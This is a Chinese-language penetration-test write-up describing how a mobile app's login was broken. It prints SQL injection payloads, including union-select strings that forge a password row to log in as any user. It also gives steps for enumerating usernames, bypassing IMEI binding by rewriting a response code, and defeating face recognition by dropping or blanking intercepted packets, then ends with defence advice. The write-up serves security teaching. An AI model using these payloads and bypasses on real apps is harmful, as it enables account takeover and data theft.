App渗透 - 从SQL注入到人脸识别登录绕过
字数 967 2025-08-20 18:17:59
App渗透测试:从SQL注入到人脸识别登录绕过
1. 目标应用分析
目标是一个具有登录功能的移动应用,具有以下特点:
- 使用加密传输数据
- 包含用户名密码登录、短信验证码登录和人脸识别功能
- 未加壳、未混淆的Android应用
2. 加密分析
2.1 加密定位
- 使用Jadx反编译APK
- 搜索关键词"Encrypt"、"Decrypt"
- 在Common.js中发现encryptData函数
2.2 加密调试
- 将加密函数放入浏览器console调试
- 确认加密算法可用
3. SQL注入漏洞利用
3.1 注入点发现
原始请求:
{
"userName": "TEST'",
"passWord": "123456",
"osType": "android",
"osVersion": "5.1.1",
"appVersion": "20.06.04",
"loginType": "1",
"model": "V1938T",
"brand": "vivo",
"imei": "865166023309431",
"version": "new"
}
测试步骤:
TEST'→ 返回异常TEST''→ 返回正常TEST'or'1'='1→ 返回正常
3.2 注入类型分析
后端逻辑推测:
userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
return 'Login success';
}else{
return 'Login failed';
}
3.3 Union注入构造
3.3.1 确定字段数
TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual--
发现字段数为9个
3.3.2 确定字段类型
TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual--
3.3.3 定位密码字段
TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual--
发现第4个字段为密码字段
4. 获取真实用户信息
4.1 利用忘记密码功能
- 爆破用户名字典
- 获取有效用户名列表
4.2 通过短信验证码登录
- 获取验证码
- 解密返回包获取用户完整信息:
- username
- staffId
- staffName
- tel/mobile
5. 构造完整攻击Payload
TEST'union/**/select/**/<staffId>,'Qwe123@@@','<userName>','Qwe123@@@','<mobile>','<mobile>','<email>','865166023309431',<staffId> from dual--
6. IMEI绑定绕过
- 输入任意验证码
- 拦截返回包
- 修改resultCode从1001(失败)改为1000(成功)
7. 人脸识别绕过
7.1 首次人脸检测
- 拦截手机发向服务器的包
- 直接丢弃该数据包
7.2 大数据包处理
- 拦截包含人脸数据的包
- 将人脸数据替换为空
- 转发修改后的数据包
8. 完整攻击流程总结
- 反编译APK定位加密函数
- 测试发现SQL注入点
- 构造Union注入确定字段信息
- 利用忘记密码功能获取有效用户名
- 通过短信验证码登录获取完整用户信息
- 构造完整Union注入Payload实现任意用户登录
- 绕过IMEI绑定验证
- 拦截并修改人脸识别相关数据包
- 最终成功登录系统
9. 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用参数化查询
-
加密改进:
- 不要在前端暴露完整加解密算法
- 考虑使用证书固定
-
人脸识别安全:
- 服务端应验证人脸数据的完整性
- 实现多因素认证
-
其他:
- 对APK进行混淆和加固
- 实现完善的日志监控和异常检测